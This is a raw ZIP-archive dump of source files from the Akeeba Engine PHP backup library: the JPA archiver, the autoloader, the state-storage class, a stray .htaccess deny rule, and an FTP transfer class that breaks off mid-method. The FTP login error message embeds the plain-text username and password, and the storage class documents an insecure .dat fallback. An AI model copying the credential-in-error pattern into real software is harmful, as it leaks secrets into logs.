		$this->_writeArchiveHeader();
	}

	/**
	 * Updates the Standard Header with current information
	 *
	 * @return  void
	 */
	public function finalize()
	{
		if (is_resource($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (is_resource($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		$this->_closeAllFiles();

		// If Spanned JPA and there is no .jpa file, rename the last fragment to .jpa
		if ($this->useSplitArchive)
		{
			$extension = substr($this->_dataFileName, -4);

			if ($extension != '.jpa')
			{
				Factory::getLog()->debug('Renaming last JPA part to .JPA extension');

				$newName = $this->dataFileNameWithoutExtension . '.jpa';

				if (!@rename($this->_dataFileName, $newName))
				{
					throw new RuntimeException('Could not rename last JPA part to .JPA extension.');
				}

				$this->_dataFileName = $newName;
			}

			// Finally, point to the first part so that we can re-write the correct header information
			if ($this->totalParts > 1)
			{
				$this->_dataFileName = $this->dataFileNameWithoutExtension . '.j01';
			}
		}

		// Re-write the archive header
		$this->_writeArchiveHeader();
	}

	/**
	 * Returns a string with the extension (including the dot) of the files produced
	 * by this class.
	 *
	 * @return string
	 */
	public function getExtension()
	{
		return '.jpa';
	}

	/**
	 * Outputs a Standard Header at the top of the file
	 *
	 * @return  void
	 */
	protected function _writeArchiveHeader()
	{
		if (!is_null($this->fp))
		{
			$this->fclose($this->fp);
			$this->fp = null;
		}

		$this->fp = $this->fopen($this->_dataFileName, 'c');

		if ($this->fp === false)
		{
			throw new ErrorException('Could not open ' . $this->_dataFileName . ' for writing. Check permissions and open_basedir restrictions.');
		}

		// Calculate total header size
		$headerSize = 19; // Standard Header

		if ($this->useSplitArchive)
		{
			// Spanned JPA header
			$headerSize += 8;
		}

		$is64Bit = $this->is64Bit();

		if ($is64Bit)
		{
			// Version 1.3 long long sizes
			$headerSize += 22;

		}

		// Write the archive header
		$this->fwrite($this->fp, self::ARCHIVE_SIGNATURE); // ID string (JPA)
		$this->fwrite($this->fp, pack('v', $headerSize)); // Header length; fixed to 19 bytes
		$this->fwrite($this->fp, pack('C', _JPA_MAJOR)); // Major version
		$this->fwrite($this->fp, pack('C', _JPA_MINOR)); // Minor version
		$this->fwrite($this->fp, pack('V', $this->totalFilesCount)); // File count
		$this->fwrite($this->fp, pack('V', $this->totalUncompressedSize)); // Size of files when extracted
		$this->fwrite($this->fp, pack('V', $this->totalCompressedSize)); // Size of files when stored

		// Do I need to add a split archive's header too?
		if ($this->useSplitArchive)
		{
			$this->fwrite($this->fp, self::SPLIT_ARCHIVE_EXTRA_HEADER); // Signature
			$this->fwrite($this->fp, pack('v', 4)); // Extra field length
			$this->fwrite($this->fp, pack('v', $this->totalParts)); // Number of parts
		}

		if ($is64Bit)
		{
			// Version 1.3
			$this->fwrite($this->fp, self::ARCHIVE_LONGLONG_SIZES_EXTRA_HEADER); // Signature
			$this->fwrite($this->fp, pack('v', 18)); // Extra field length
			$this->fwrite($this->fp, pack('P', $this->totalUncompressedSize)); // Size of files when extracted
			$this->fwrite($this->fp, pack('P', $this->totalCompressedSize)); // Size of files when stored
		}

		$this->fclose($this->fp);

		@chmod($this->_dataFileName, $this->getPermissions());
	}

	/**
	 * Extend the bootstrap code to add some define's used by the JPA format engine
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	protected function __bootstrap_code()
	{
		if (!defined('_AKEEBA_COMPRESSION_THRESHOLD'))
		{
			$config = Factory::getConfiguration();
			define("_AKEEBA_COMPRESSION_THRESHOLD", $config->get('engine.archiver.common.big_file_threshold')); // Don't compress files over this size

			/**
			 * Akeeba Backup and JPA Format version change chart:
			 * Akeeba Backup 3.0: JPA Format 1.1
			 * Akeeba Backup 3.1: JPA Format 1.2 with file modification timestamp is used
			 * Akeeba Backup for Joomla 8.3/9.6, Solo/Akeeba Backup for WordPress 7.9: JPA Format 1.3
			 */
			define('_JPA_MAJOR', 1); // JPA Format major version number

			if ($this->is64Bit())
			{
				define('_JPA_MINOR', 3); // JPA Format minor version number
			}
			else
			{
				define('_JPA_MINOR', 2); // JPA Format minor version number
			}
		}
		parent::__bootstrap_code();
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return boolean True on success, false otherwise
	 *
	 * @since  1.2.1
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		// Get references to engine objects we're going to be using
		$configuration = Factory::getConfiguration();

		// Is this a virtual file?
		$isVirtual = (bool) $isVirtual;

		// Open data file for output
		$this->openArchiveForOutput();

		// Should I continue backing up a file from the previous step?
		$continueProcessingFile = $configuration->get('volatile.engine.archiver.processingfile', false);

		// Initialize with the default values. Why are *these* values default? If we are continuing file packing, by
		// definition we have an uncompressed, non-virtual file. Hence the default values.
		$isDir             = false;
		$isSymlink         = false;
		$compressionMethod = 0;
		$zdata             = null;
		// If we are continuing file packing we have an uncompressed, non-virtual file.
		$isVirtual = $continueProcessingFile ? false : $isVirtual;
		$resume    = $continueProcessingFile ? 0 : null;

		if (!$continueProcessingFile)
		{
			// Log the file being added
			$messageSource = $isVirtual ? '(virtual data)' : "(source: $sourceNameOrData)";
			Factory::getLog()->debug("-- Adding $targetName to archive $messageSource");

			// Write a file header
			$this->writeFileHeader($sourceNameOrData, $targetName, $isVirtual, $isSymlink, $isDir, $compressionMethod, $zdata, $unc_len);
		}
		else
		{
			$sourceNameOrData = $configuration->get('volatile.engine.archiver.sourceNameOrData', '');
			$unc_len          = $configuration->get('volatile.engine.archiver.unc_len', 0);
			$resume           = $configuration->get('volatile.engine.archiver.resume', 0);

			// Log the file we continue packing
			Factory::getLog()->debug("-- Resuming adding file $sourceNameOrData to archive from position $resume (total size $unc_len)");
		}

		/* "File data" segment. */
		if ($compressionMethod == 1)
		{
			// Compressed data. Put into the archive.
			$this->putRawDataIntoArchive($zdata);
		}
		elseif ($isVirtual)
		{
			// Virtual data. Put into the archive.
			$this->putRawDataIntoArchive($sourceNameOrData);
		}
		elseif ($isSymlink)
		{
			// Symlink. Just put the link target into the archive.
			$this->fwrite($this->fp, @readlink($sourceNameOrData));
		}
		elseif ((!$isDir) && (!$isSymlink))
		{
			// Uncompressed file.
			if ($this->putUncompressedFileIntoArchive($sourceNameOrData, $unc_len, $resume) === true)
			{
				// If it returns true we are doing a step break to resume packing in the next step. So we need to return
				// true here to avoid running the final bit of code which uncaches the file resume data.
				return true;
			}
		}

		// Factory::getLog()->debug("DEBUG -- Added $targetName to archive");

		// Uncache data
		$configuration->set('volatile.engine.archiver.sourceNameOrData', null);
		$configuration->set('volatile.engine.archiver.unc_len', null);
		$configuration->set('volatile.engine.archiver.resume', null);
		$configuration->set('volatile.engine.archiver.processingfile', false);

		// ... and return TRUE = success
		return true;
	}

	/**
	 * Write the file header to the backup archive.
	 *
	 * Only the first three parameters are input. All other are ignored for input and are overwritten.
	 *
	 * @param   string  $sourceNameOrData   The path to the file being compressed, or the raw file data for virtual files
	 * @param   string  $targetName         The target path to be stored inside the archive
	 * @param   bool    $isVirtual          Is this a virtual file?
	 * @param   bool    $isSymlink          Is this a symlink?
	 * @param   bool    $isDir              Is this a directory?
	 * @param   int     $compressionMethod  The compression method chosen for this file
	 * @param   string  $zdata              If we have compression method other than 0 this holds the compressed data.
	 *                                      We return that from this method to avoid having to compress the same data
	 *                                      twice (once to write the compressed data length in the header and once to
	 *                                      write the compressed data to the archive).
	 * @param   int     $unc_len            The uncompressed size of the file / source data
	 *
	 * @return  void
	 */
	protected function writeFileHeader(&$sourceNameOrData, &$targetName, &$isVirtual, &$isSymlink, &$isDir, &$compressionMethod, &$zdata, &$unc_len)
	{
		static $memLimit = null;

		if (is_null($memLimit))
		{
			$memLimit = $this->getMemoryLimit();
		}

		$configuration = Factory::getConfiguration();

		// Uncache data -- WHY DO THAT?!
		/**
		 * $configuration->set('volatile.engine.archiver.sourceNameOrData', null);
		 * $configuration->set('volatile.engine.archiver.unc_len', null);
		 * $configuration->set('volatile.engine.archiver.resume', null);
		 * $configuration->set('volatile.engine.archiver.processingfile',false);
		 * /**/

		// See if it's a directory
		$isDir = $isVirtual ? false : is_dir($sourceNameOrData);

		// See if it's a symlink (w/out dereference)
		$isSymlink = false;

		if ($this->storeSymlinkTarget && !$isVirtual)
		{
			$isSymlink = is_link($sourceNameOrData);
		}

		// Get real size before compression
		[$fileSize, $fileModTime] =
			$this->getFileSizeAndModificationTime($sourceNameOrData, $isVirtual, $isSymlink, $isDir);

		// Decide if we will compress
		$compressionMethod = $this->getCompressionMethod($fileSize, $memLimit, $isDir, $isSymlink);

		$storedName = $targetName;

		/* "Entity Description Block" segment. */
		$unc_len    = $fileSize; // File size
		$storedName .= ($isDir) ? "/" : "";

		/**
		 * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		 * !!!! WARNING!!! DO NOT MOVE THIS BLOCK OF CODE AFTER THE testIfFileExists OR getZData!!!!       !!!!
		 * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
		 *
		 * PHP 5.6.3 IS BROKEN. Possibly the same applies for all old versions of PHP. If you try to get the file
		 * permissions after reading its contents PHP segfaults.
		 */
		// Get file permissions
		$perms = 0644;

		if (!$isVirtual)
		{
			$perms = @fileperms($sourceNameOrData);
		}

		// Test for non-existing or unreadable files
		$this->testIfFileExists($sourceNameOrData, $isVirtual, $isDir, $isSymlink);

		// Default compressed (archived) length = uncompressed length – valid unless we can actually compress the data.
		$c_len = $unc_len;

		if ($compressionMethod == 1)
		{
			$this->getZData($sourceNameOrData, $isVirtual, $compressionMethod, $zdata, $unc_len, $c_len);
		}

		$this->totalCompressedSize   += $c_len; // Update global data
		$this->totalUncompressedSize += $fileSize; // Update global data
		$this->totalFilesCount++;

		// Calculate Entity Description Block length
		$blockLength = 21 + akstrlen($storedName);

		// If we need to store the file mod date
		if ($fileModTime > 0)
		{
			$blockLength += 8;
		}

		$is64Bit = $this->is64Bit();

		if ($is64Bit)
		{
			// We need to account for the Long Long File Sizes Extra Field in JPA v1.3
			$blockLength += 20;
		}

		// Get file type
		$fileType = 1;

		if ($isSymlink)
		{
			$fileType = 2;
		}
		elseif ($isDir)
		{
			$fileType = 0;
		}

		// If it's a split JPA file, we've got to make sure that the header can fit in the part
		if ($this->useSplitArchive)
		{
			// Compare to free part space
			$free_space = $this->getPartFreeSize();

			if ($free_space <= $blockLength)
			{
				// Not enough space on current part, create new part
				$this->createAndOpenNewPart();
			}
		}

		$this->fwrite($this->fp, self::FILE_HEADER_SIGNATURE); // Entity Description Block header
		$this->fwrite($this->fp, pack('v', $blockLength)); // Entity Description Block header length
		$this->fwrite($this->fp, pack('v', akstrlen($storedName))); // Length of entity path
		$this->fwrite($this->fp, $storedName); // Entity path
		$this->fwrite($this->fp, pack('C', $fileType)); // Entity type
		$this->fwrite($this->fp, pack('C', $compressionMethod)); // Compression method
		$this->fwrite($this->fp, pack('V', $c_len)); // Compressed size
		$this->fwrite($this->fp, pack('V', $unc_len)); // Uncompressed size
		$this->fwrite($this->fp, pack('V', $perms)); // Entity permissions

		// Timestamp Extra Field, only for files
		if ($fileModTime > 0)
		{
			$this->fwrite($this->fp, "\x00\x01"); // Extra Field Identifier
			$this->fwrite($this->fp, pack('v', 8)); // Extra Field Length
			$this->fwrite($this->fp, pack('V', $fileModTime)); // Timestamp
		}

		if ($is64Bit)
		{
			// The Long Long File Sizes Extra Field
			$this->fwrite($this->fp, "\x00\x02"); // Extra Field Identifier
			$this->fwrite($this->fp, pack('v', 20)); // Extra Field Length
			$this->fwrite($this->fp, pack('P', $c_len)); // Compressed size
			$this->fwrite($this->fp, pack('P', $unc_len)); // Uncompressed size
		}

		// Cache useful information about the file
		if (!$isDir && !$isSymlink && !$isVirtual)
		{
			$configuration->set('volatile.engine.archiver.unc_len', $unc_len);
			$configuration->set('volatile.engine.archiver.sourceNameOrData', $sourceNameOrData);
		}
	}

	/**
	 * Creates a new part for the spanned archive
	 *
	 * @param   bool  $finalPart  Is this the final archive part?
	 *
	 * @return  bool  True on success
	 */
	protected function createNewPartFile($finalPart = false)
	{
		// Close any open file pointers
		if (!is_resource($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (is_resource($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		// Remove the just finished part from the list of resumable offsets
		$this->removeFromOffsetsList($this->_dataFileName);

		// Set the file pointers to null
		$this->fp   = null;
		$this->cdfp = null;

		// Push the previous part if we have to post-process it immediately
		$configuration = Factory::getConfiguration();

		if ($configuration->get('engine.postproc.common.after_part', 0))
		{
			// The first part needs its header overwritten during archive
			// finalization. Skip it from immediate processing.
			if ($this->currentPartNumber != 1)
			{
				$this->finishedPart[] = $this->_dataFileName;
			}
		}

		$this->totalParts++;
		$this->currentPartNumber = $this->totalParts;

		if ($finalPart)
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.jpa';
		}
		else
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.j' . sprintf('%02d', $this->currentPartNumber);
		}

		Factory::getLog()->info('Creating new JPA part #' . $this->currentPartNumber . ', file ' . $this->_dataFileName);
		$statistics = Factory::getStatistics();
		$statistics->updateMultipart($this->totalParts);

		// Try to remove any existing file
		@clearstatcache($this->_dataFileName);

		if (file_exists($this->_dataFileName))
		{
			@unlink($this->_dataFileName);
		}

		// Touch the new file
		$result = @touch($this->_dataFileName);

		chmod($this->_dataFileName, $this->getPermissions());

		// Try to write 6 bytes to it
		if ($result)
		{
			$result = @file_put_contents($this->_dataFileName, 'AKEEBA') == 6;
		}

		if ($result)
		{
			@clearstatcache($this->_dataFileName);

			if (file_exists($this->_dataFileName))
			{
				@unlink($this->_dataFileName);
			}

			$result = @touch($this->_dataFileName);
			@chmod($this->_dataFileName, $this->getPermissions());
		}

		return $result;
	}

	/**
	 * Is this a 64-bit version of PHP?
	 *
	 * @return  bool
	 *
	 * @since   9.6.1
	 * @see     https://www.php.net/manual/en/reserved.constants.php
	 */
	private function is64Bit(): bool
	{
		// 64-bit versions use 8 bytes for the Integer intrinsic type. We use >= for forward compatibility.
		return PHP_INT_SIZE >= 8;
	}
}
PK     \Sʉ      .  vendor/akeeba/engine/engine/Archiver/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \    *  vendor/akeeba/engine/engine/Autoloader.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

/**
 * The main class autoloader for AkeebaEngine
 */
class Autoloader
{
	/**
	 * An instance of this autoloader
	 *
	 * @var   Autoloader
	 */
	public static $autoloader = null;

	/**
	 * The path to the Akeeba Engine root directory
	 *
	 * @var   string
	 */
	public static $enginePath = null;

	/**
	 * The directories where Akeeba Engine platforms are stored
	 *
	 * @var      array
	 */
	public static $platformDirs = null;

	/**
	 * Public constructor. Registers the autoloader with PHP.
	 */
	public function __construct()
	{
		self::$enginePath = __DIR__;

		spl_autoload_register([$this, 'autoload_akeeba_engine']);
	}

	/**
	 * Initialise this autoloader
	 *
	 * @return  Autoloader
	 */
	public static function init()
	{
		if (self::$autoloader == null)
		{
			self::$autoloader = new self;
		}

		return self::$autoloader;
	}

	/**
	 * The actual autoloader
	 *
	 * @param   string  $className  The name of the class to load
	 *
	 * @return  void
	 */
	public function autoload_akeeba_engine($className)
	{
		// Trim the trailing backslash
		$className = ltrim($className, '\\');

		// Make sure the class has an Akeeba\Engine prefix
		if (substr($className, 0, 13) != 'Akeeba\\Engine')
		{
			return;
		}

		// Remove the prefix and explode on backslashes
		$className = substr($className, 14);
		$class     = explode('\\', $className);

		// Do we have a list of platform directories?
		if (is_null(self::$platformDirs) && class_exists('\\Akeeba\\Engine\\Platform', false))
		{
			self::$platformDirs = Platform::getPlatformDirectories();

			if (!is_array(self::$platformDirs))
			{
				self::$platformDirs = [];
			}
		}

		$rootPaths = [self::$enginePath];

		if (is_array(self::$platformDirs))
		{
			$rootPaths = array_merge(
				self::$platformDirs, [self::$enginePath]
			);
		}

		foreach ($rootPaths as $rootPath)
		{
			// First try finding in structured directory format (preferred)
			$path = $rootPath . '/' . implode('/', $class) . '.php';

			if (@file_exists($path))
			{
				include_once $path;
			}

			// Then try the duplicate last name structured directory format (not recommended)
			if (!class_exists($className, false))
			{
				reset($class);
				$lastPart = end($class);
				$path     = $rootPath . '/' . implode('/', $class) . '/' . $lastPart . '.php';

				if (@file_exists($path))
				{
					include_once $path;
				}
			}
		}
	}
}

// Register the Akeeba Engine autoloader
Autoloader::init();
PK     \Bar  r  3  vendor/akeeba/engine/engine/Util/FactoryStorage.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use InvalidArgumentException;
use RuntimeException;

/**
 * Management class for temporary storage of the serialised engine state.
 */
class FactoryStorage
{
	protected static $tempFileStoragePath;

	/**
	 * Returns the fully qualified path to the storage file
	 *
	 * @param   string  $tag        Backup tag
	 * @param   string  $extension  File extension, default is php
	 *
	 * @return  string
	 */
	public function get_storage_filename($tag = null, $extension = 'php')
	{
		if (is_null(self::$tempFileStoragePath))
		{
			$registry                  = Factory::getConfiguration();
			self::$tempFileStoragePath = $registry->get('akeeba.basic.output_directory', '');

			if (empty(self::$tempFileStoragePath))
			{
				throw new InvalidArgumentException('You have not set a backup output directory.');
			}

			self::$tempFileStoragePath = rtrim(self::$tempFileStoragePath, '/\\');

			if (!is_writable(self::$tempFileStoragePath) || !is_readable(self::$tempFileStoragePath))
			{
				throw new InvalidArgumentException(sprintf('Backup output directory %s needs to be both readable and writeable to PHP for this backup software to function correctly.', self::$tempFileStoragePath));
			}
		}

		$tag      = empty($tag) ? '' : $tag;
		$filename = sprintf("akstorage%s%s.%s", empty($tag) ? '' : '_', $tag, $extension);

		return self::$tempFileStoragePath . DIRECTORY_SEPARATOR . $filename;
	}

	/**
	 * Resets the storage. This method removes all stored values.
	 *
	 * @param   null  $tag
	 *
	 * @return    bool    True on success
	 */
	public function reset($tag = null)
	{
		$filename = $this->get_storage_filename($tag);

		if (!is_file($filename) && !is_link($filename))
		{
			$filename = $this->get_storage_filename($tag, 'dat');
		}

		if (!is_file($filename) && !is_link($filename))
		{
			return false;
		}

		return @unlink($this->get_storage_filename($tag));
	}

	/**
	 * Stores a value to the storage
	 *
	 * @param   string       $value      Serialised value to store
	 * @param   string|null  $tag        Backup tag
	 * @param   string       $extension  File extension to use, default is php
	 *
	 * @return  bool  True on success
	 */
	public function set($value, $tag = null, $extension = 'php')
	{
		$storage_filename = $this->get_storage_filename($tag, $extension);

		if (file_exists($storage_filename))
		{
			@unlink($storage_filename);
		}

		$isPHPFile = strtolower($extension) == 'php';

		return @file_put_contents($storage_filename, $this->encode($value, $isPHPFile)) !== false;
	}

	/**
	 * Retrieves a value from storage
	 *
	 * @param   string|null  $tag  Backup tag. Used to determine the session state (memory) file name.
	 *
	 * @return  string|null
	 */
	public function &get($tag = null)
	{
		$ret              = null;
		$storage_filename = $this->get_storage_filename($tag);
		$isPHPFile        = true;
		$data             = @file_get_contents($storage_filename);

		/**
		 * Some hosts, like WPEngine, do not allow us to use .php files for storing the factory state. In these case we
		 * fall back to using the far less secure .dat extension. This if-block caters for that case.
		 */
		if ($data === false)
		{
			$storage_filename = $this->get_storage_filename($tag, 'dat');
			$isPHPFile        = false;
			$data             = @file_get_contents($storage_filename);
		}

		if ($data === false)
		{
			return $ret;
		}

		try
		{
			$ret = $this->decode($data, $isPHPFile);
		}
		catch (RuntimeException $e)
		{
			$ret = null;
		}

		unset($data);

		return $ret;
	}

	/**
	 * Encodes the (serialized) data in a format suitable for storing in a deliberately web-inaccessible PHP file.
	 *
	 * IMPORTANT: On some hosts we HAVE to fall back to a .dat file. This is nowhere near as secure. This is not a
	 * problem with Akeeba Backup but with the host, e.g. WPEngine. We WANT to do things securely but hosts' misguided
	 * attempts at "security" force us to have a very insecure fallback. Please do not report this as a security issue
	 * with us. report it to the host. We can't do something the host doesn't allow our code to do, obviously!
	 *
	 * @param   string  $data       The data to encode
	 * @param   bool    $isPHPFile  Is this file extension .php?
	 *
	 * @return  string  The encoded data
	 */
	public function encode(&$data, $isPHPFile = true)
	{
		$encodingMethod = $this->getEncodingMethod();
		
		switch ($encodingMethod)
		{
			case 'base64':
				$ret = base64_encode($data);
				break;

			case 'uuencode':
				$ret = convert_uuencode($data);
				break;

			case 'plain':
			default:
				$ret = $data;
				break;
		}

		if ($isPHPFile)
		{
			return '<' . '?' . 'php die(); ' . '>' . '?' . "\n" .
				$encodingMethod . "\n" . $ret;
		}

		return $encodingMethod . "\n" . $ret;
	}

	/**
	 * Decodes the data read from the deliberately web-inaccessible PHP file.
	 *
	 * @param   string  $data       The data read from the file
	 * @param   bool    $isPHPFile  Does the memory file have a .php extension?
	 *
	 * @return  false|string  The decoded data. False if the decoding failed.
	 */
	public function decode(&$data, $isPHPFile = true)
	{
		// Parts: 0 = PHP die line; 1 = encoding mode; 2 = data
		$parts = explode("\n", $data, 3);

		$expectedPartsCount = $isPHPFile ? 3 : 2;

		if (count($parts) != $expectedPartsCount)
		{
			throw new RuntimeException("Invalid backup temporary data (memory file)");
		}

		$encodingIndex = $isPHPFile ? 1 : 0;
		$dataIndex     = $isPHPFile ? 2 : 1;

		switch ($parts[$encodingIndex])
		{
			case 'base64':
				return base64_decode($parts[$dataIndex]);
				break;

			case 'uuencode':
				return convert_uudecode($parts[$dataIndex]);
				break;

			case 'plain':
				return $parts[$dataIndex];
				break;

			default:
				throw new RuntimeException(sprintf('Unsupported encoding method “%s”', $parts[$encodingIndex]));
				break;
		}
	}

	/**
	 * Get the recommended method for encoding the temporary data
	 *
	 * @return string
	 */
	protected function getEncodingMethod()
	{
		// Preferred encoding: base sixty four, handled by PHP
		if (function_exists('base64_encode') && function_exists('base64_decode'))
		{
			return 'base64';
		}

		// Fallback: UUencoding
		if (function_exists('convert_uuencode') && function_exists('convert_uudecode'))
		{
			return 'uuencode';
		}

		// Final fallback (should NOT be necessary): plain text encoding
		return 'plain';
	}
}
PK     \!vyC  C  1  vendor/akeeba/engine/engine/Util/Transfer/Ftp.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use Exception;
use RuntimeException;

/**
 * FTP transfer object, using PHP as the transport backend
 */
class Ftp implements TransferInterface, RemoteResourceInterface
{
	/**
	 * FTP server's hostname or IP address
	 *
	 * @var  string
	 */
	protected $host = 'localhost';

	/**
	 * FTP server's port, default: 21
	 *
	 * @var  integer
	 */
	protected $port = 21;

	/**
	 * Username used to authenticate to the FTP server
	 *
	 * @var  string
	 */
	protected $username = '';

	/**
	 * Password used to authenticate to the FTP server
	 *
	 * @var  string
	 */
	protected $password = '';

	/**
	 * FTP initial directory
	 *
	 * @var  string
	 */
	protected $directory = '/';

	/**
	 * Should I use SSL to connect to the server (FTP over explicit SSL, a.k.a. FTPS)?
	 *
	 * @var  boolean
	 */
	protected $ssl = false;

	/**
	 * Should I use FTP passive mode?
	 *
	 * @var bool
	 */
	protected $passive = true;

	/**
	 * Timeout for connecting to the FTP server, default: 10
	 *
	 * @var  integer
	 */
	protected $timeout = 10;

	/**
	 * The FTP connection handle
	 *
	 * @var  resource|null
	 */
	private $connection = null;

	/**
	 * Public constructor
	 *
	 * @param   array  $options  Configuration options
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	public function __construct(array $options)
	{
		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = (int) $options['port'];
		}

		if (isset($options['username']))
		{
			$this->username = $options['username'];
		}

		if (isset($options['password']))
		{
			$this->password = $options['password'];
		}

		if (isset($options['directory']))
		{
			$this->directory = '/' . ltrim(trim($options['directory']), '/');
		}

		if (isset($options['ssl']))
		{
			$this->ssl = $options['ssl'];
		}

		if (isset($options['passive']))
		{
			$this->passive = $options['passive'];
		}

		if (isset($options['timeout']))
		{
			$this->timeout = max(1, (int) $options['timeout']);
		}

		$this->connect();
	}

	/**
	 * Is this transfer method blocked by a server firewall?
	 *
	 * @param   array  $params  Any additional parameters you might need to pass
	 *
	 * @return  boolean  True if the firewall blocks connections to a known host
	 */
	public static function isFirewalled(array $params = [])
	{
		try
		{
			$connector = new static([
				'host'      => 'test.rebex.net',
				'port'      => 21,
				'username'  => 'demo',
				'password'  => 'password',
				'directory' => '',
				'ssl'       => $params['ssl'] ?? false,
				'passive'   => true,
				'timeout'   => 5,
			]);

			$data = $connector->read('readme.txt');

			if (empty($data))
			{
				return true;
			}
		}
		catch (Exception $e)
		{
			return true;
		}

		return false;
	}

	/**
	 * Save all parameters on serialization except the connection resource
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		return ['host', 'port', 'username', 'password', 'directory', 'ssl', 'passive', 'timeout'];
	}

	/**
	 * Reconnect to the server on unserialize
	 *
	 * @return  void
	 */
	public function __wakeup()
	{
		$this->connect();
	}

	/**
	 * Connect to the FTP server
	 *
	 * @throws  RuntimeException
	 */
	public function connect()
	{
		// Try to connect to the server
		if ($this->ssl)
		{
			if (function_exists('ftp_ssl_connect'))
			{
				$this->connection = @ftp_ssl_connect($this->host, $this->port);
			}
			else
			{
				$this->connection = false;

				throw new RuntimeException('ftp_ssl_connect not available on this server', 500);
			}
		}
		else
		{
			$this->connection = @ftp_connect($this->host, $this->port, $this->timeout);
		}

		if ($this->connection === false)
		{
			throw new RuntimeException(sprintf('Cannot connect to FTP server [host:port] = %s:%s', $this->host, $this->port), 500);
		}

		// Attempt to authenticate
		if (!@ftp_login($this->connection, $this->username, $this->password))
		{
			@ftp_close($this->connection);
			$this->connection = null;

			throw new RuntimeException(sprintf('Cannot log in to FTP server [username:password] = %s:%s', $this->username, $this->password), 500);
		}

		// Attempt to change to the initial directory
		$defaultDir  = @ftp_pwd($this->connection) ?: '/';
		$directories = [
			$this->directory,
			rtrim($this->directory, '/'),
			trim($this->directory, '/'),
			$defaultDir,
		];

		foreach ($directories as $dir)
		{
			$changedDir = @ftp_chdir($this->connection, $dir);

			if ($changedDir)
			{
				$this->directory = $dir;

				break;
			}
		}

		if (!$changedDir)
		{
			@ftp_close($this->connection);
			$this->connection = null;

			throw new RuntimeException(sprintf('Cannot change to initial FTP directory "%s" – make sure the folder exists and that you have adequate permissions to it. Pro tip: the default directory of your FTP connection is reported to be %s', $this->directory, $defaultDir), 500);
		}

		// Apply the passive mode preference
		@ftp_pasv($this->connection, $this->passive);
	}

	/**
	 * Public destructor, closes any open FTP connections
	 */
	public function __destruct()
	{
		if (!is_null($this->connection))
		{
			@ftp_close($this->connection);
		}
	}

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');
		fwrite($handle, $contents);
		rewind($handle);

		$cwd            = $this->cwd();
		$remoteFilename = '/' . ltrim($fileName, '/');
